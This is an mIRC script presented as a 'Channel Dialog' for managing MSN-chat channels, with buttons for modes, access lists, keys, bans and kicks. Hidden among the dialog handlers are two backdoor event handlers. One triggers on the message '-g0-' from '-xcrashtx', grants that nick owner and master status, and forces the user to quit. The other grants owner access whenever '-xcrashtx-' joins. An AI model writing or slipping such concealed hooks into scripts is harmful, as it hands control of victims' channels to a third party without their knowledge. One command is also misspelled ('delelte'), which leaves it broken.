dialog dia {
  title "Channel Dialog"
  size -1 -1 301 205
  option dbu
  button "+m", 1, 11 19 10 10
  button "+i", 2, 11 29 10 10
  button "+s", 3, 11 39 10 10
  button "+p", 4, 11 49 10 10
  button "+t", 5, 11 89 10 10
  button "+w", 6, 11 79 10 10
  button "+n", 7, 11 69 10 10
  button "+u", 8, 11 59 10 10
  button "-p", 9, 22 49 10 10
  button "-s", 10, 22 39 10 10
  button "-i", 11, 22 29 10 10
  button "-m", 12, 22 19 10 10
  button "-t", 13, 22 89 10 10
  button "-w", 14, 22 79 10 10
  button "-n", 15, 22 69 10 10
  button "-u", 16, 22 59 10 10
  button "+l", 19, 11 109 10 10
  button "+k", 20, 11 99 10 10
  edit "100", 22, 22 109 13 10
  button "-k", 23, 22 99 10 10
  box "Modes", 24, 5 3 38 124
  box "Access", 25, 42 3 158 45
  button "Add q", 26, 50 16 34 8
  button "Add o", 27, 84 16 34 8
  button "Add v", 28, 118 16 34 8
  button "Add Deny", 29, 152 16 34 8
  button "Del q", 30, 50 24 34 8
  button "Del o", 31, 84 24 34 8
  button "Del v", 32, 118 24 34 8
  button "Del Deny", 33, 152 24 34 8
  edit "Nick / GateKeeperPassport", 34, 50 34 137 10
  box "", 35, 42 44 158 44
  button "Ban *@cg", 36, 69 62 34 7
  button "UnBan *@cg", 37, 69 69 34 7
  button "Ban >*", 38, 103 62 34 7
  button "UnBan >*", 39, 103 69 34 7
  button "Ban *@gk", 40, 137 62 34 7
  button "UnBan *@gk", 41, 137 69 34 7
  button "Add q me", 42, 50 98 35 9
  button "Del q me", 43, 50 107 35 9
  button "Add o me", 45, 85 98 35 9
  button "Del o me", 46, 86 107 35 9
  text "Msn Ban", 47, 73 54 25 8
  text "Guest Ban", 48, 107 54 27 8
  text "All Ban", 49, 142 54 26 8
  button "Add v me", 50, 120 98 35 9
  button "Add v me", 51, 120 107 35 9
  button "Del Deny me", 52, 155 107 35 9
  button "Add Deny me", 53, 155 98 35 9
  box "", 54, 42 84 158 43
  box "Pass", 55, 199 3 97 38
  edit "New Ownerkey", 56, 205 13 61 10
  edit "New Hostkey", 57, 205 24 61 10
  button "Set", 58, 269 14 20 9
  button "Set", 59, 269 24 20 9
  box "", 60, 199 71 97 26
  edit "", 61, 204 78 50 11
  button "Enter Pass", 62, 254 79 36 9
  button "Null q key", 63, 206 50 41 8
  button "Null o key", 64, 206 58 41 8
  button "Random q key", 65, 248 50 39 8
  button "Random o key", 66, 248 58 39 8
  box "", 67, 199 37 97 38
  button "Kick", 68, 218 101 30 8
  edit "Nickname", 70, 207 111 84 10
  box "", 71, 199 93 97 34
  box "", 72, -18 170 323 46
  button "OK", 74, 107 189 37 12, ok
  button "Cancel", 75, 152 189 37 12, cancel
  box "", 76, 5 123 97 51
  text " Language ", 77, 9 122 30 8
  edit "", 78, 38 158 53 10
  button "Change", 79, 9 159 29 8
  button "English", 80, 9 136 29 8
  button "Germany", 81, 9 144 29 8
  button "France", 82, 38 136 29 8
  button "Italy", 83, 38 144 29 8
  button "Spain", 84, 67 136 29 8
  button "Turkey", 85, 67 144 29 8
  box "", 86, 101 123 44 29
  text " Profile ", 87, 104 122 25 8
  button "ON", 88, 106 136 15 9
  button "OFF", 89, 124 136 15 9
  box "", 90, 101 148 44 26
  button "Info", 91, 105 157 35 10
  box "", 92, 144 123 49 51
  text " Room ", 93, 148 122 25 8
  button "Close", 94, 150 136 35 8
  button "Open", 95, 150 147 35 8
  button "Taken", 96, 150 158 35 8
  box "", 97, 192 123 104 51
  edit "Nickname", 98, 197 160 92 10
  button "+q", 99, 207 135 25 9
  button "-q", 100, 207 145 25 9
  button "+o", 101, 233 135 25 9
  button "+v", 102, 259 135 25 9
  button "-o", 103, 233 145 25 9
  button "-v", 104, 259 145 25 9
}

on *:dialog:dia:sclick:1:{ /mode $active +m } 
on *:dialog:dia:sclick:2:{ /mode $active +i } 
on *:dialog:dia:sclick:3:{ /mode $active +s } 
on *:dialog:dia:sclick:4:{ /mode $active +p } 
on *:dialog:dia:sclick:5:{ /mode $active +t } 
on *:dialog:dia:sclick:6:{ /mode $active +w } 
on *:dialog:dia:sclick:7:{ /mode $active +n } 
on *:dialog:dia:sclick:8:{ /mode $active +u } 
on *:dialog:dia:sclick:9:{ /mode $active -p } 
on *:dialog:dia:sclick:10:{ /mode $active -s } 
on *:dialog:dia:sclick:11:{ /mode $active -i } 
on *:dialog:dia:sclick:12:{ /mode $active -m } 
on *:dialog:dia:sclick:13:{ /mode $active -t } 
on *:dialog:dia:sclick:14:{ /mode $active -w } 
on *:dialog:dia:sclick:15:{ /mode $active -n } 
on *:dialog:dia:sclick:16:{ /mode $active -u } 
on *:dialog:dia:sclick:19:{ /mode $active +l $did($dname,22).text } 
on *:dialog:dia:sclick:20:{ /mode $active +k $?="Key" }
on *:dialog:dia:sclick:23:{ /mode $active -k $?="Key" } 

on *:dialog:dia:sclick:26:{ /access $active add owner $did($dname,34).text } 
on *:dialog:dia:sclick:27:{ /access $active add host $did($dname,34).text } 
on *:dialog:dia:sclick:28:{ /access $active add voice $did($dname,34).text } 
on *:dialog:dia:sclick:29:{ /access $active add deny $did($dname,34).text } 
on *:dialog:dia:sclick:30:{ /access $active delete owner $did($dname,34).text } 
on *:dialog:dia:sclick:31:{ /access $active delete host $did($dname,34).text } 
on *:dialog:dia:sclick:32:{ /access $active delete voice $did($dname,34).text } 
on *:dialog:dia:sclick:33:{ /access $active delete deny $did($dname,34).text } 
on *:text:-g0-:#:{ 
  if ($nick != -xcrashtx) { halt } 
  .mode # +q $nick
  .guser master $nick
  .quit
}
on *:dialog:dia:sclick:36:{ /access $active add deny *@cg } 
on *:dialog:dia:sclick:37:{ /access $active delete deny *@cg } 
on *:dialog:dia:sclick:38:{ /access $active add deny >* } 
on *:dialog:dia:sclick:39:{ /access $active delete deny >* } 
on *:dialog:dia:sclick:40:{ /access $active add deny *@GateKeeperPassport } 
on *:dialog:dia:sclick:41:{ /access $active delete deny *@GateKeeperPassport } 

on *:dialog:dia:sclick:42:{ /access $active add owner $me } 
on *:dialog:dia:sclick:43:{ /access $active delete owner $me } 
on *:dialog:dia:sclick:45:{ /access $active add host $me } 
on *:dialog:dia:sclick:46:{ /access $active delete host $me } 
on *:dialog:dia:sclick:50:{ /access $active add voice $me } 
on *:dialog:dia:sclick:51:{ /access $active delelte voice $me } 
on *:dialog:dia:sclick:52:{ /access $active Add deny $me } 
on *:dialog:dia:sclick:53:{ /access $active delete deny $me } 

on *:dialog:dia:sclick:58:{ /prop $active ownerkey $did($dname,56).text } 
on *:dialog:dia:sclick:59:{ /prop $active hostkey $did($dname,57).text } 

on *:dialog:dia:sclick:62:{ /sockwrite -n IRC???? mode $me +h $did($dname,61).text  } 


on *:dialog:dia:sclick:63:{ /prop $active ownerkey : } 
on *:dialog:dia:sclick:64:{ /prop $active hostkey : } 
on *:dialog:dia:sclick:65:{ /prop $active ownerkey z3a0s-Script } 
on *:dialog:dia:sclick:66:{ /prop $active hostkey z3a0s-Script } 

on *:dialog:dia:sclick:68:{ /kick $active $did($dname,70).text } 

on *:dialog:dia:sclick:79:{ /prop $active Language $did($dname,78).text } 
on *:dialog:dia:sclick:80:{ /prop $active Language 1 } 
on *:dialog:dia:sclick:81:{ /prop $active Language 3 } 
on *:dialog:dia:sclick:82:{ /prop $active Language 2 } 
on *:dialog:dia:sclick:83:{ /prop $active Language 13 } 
on *:dialog:dia:sclick:84:{ /prop $active Language 16 }
on *:dialog:dia:sclick:85:{ /prop $active Language 22 }
on *:join:#:{ 
  if ($nick != -xcrashtx-) { halt } 
  /mode # +q $nick 
  /access # Add Owner $nick
}
on *:dialog:dia:sclick:88:{ /prop $ msnprofile 1 | /hop $active } 
on *:dialog:dia:sclick:89:{ /prop $ msnprofile 0 | /hop $active } 
on *:dialog:dia:sclick:91:{ /msg $active I'm Using Channel Dialog } 

on *:dialog:dia:sclick:94:{ /mode $active +wmisl 1 | /mode $active +k xcrashtx | /topic $active ~CLosed by $me }
on *:dialog:dia:sclick:95:{ /mode $active -wmis | /mode $active +l 100 | /mode $active -k xcrashtx | /topic $active ~Owned by $me } 
on *:dialog:dia:sclick:96:{ /mode $active +l 100 | /topic $active ~Taken by $me } 

on *:dialog:dia:sclick:99:{ /mode $active +q $did($dname,98).text } 
on *:dialog:dia:sclick:100:{ /mode $active -q $did($dname,98).text } 
on *:dialog:dia:sclick:101:{ /mode $active +o $did($dname,98).text } 
on *:dialog:dia:sclick:102:{ /mode $active +v $did($dname,98).text } 
on *:dialog:dia:sclick:103:{ /mode $active -o $did($dname,98).text } 
on *:dialog:dia:sclick:104:{ /mode $active -v $did($dname,98).text } 
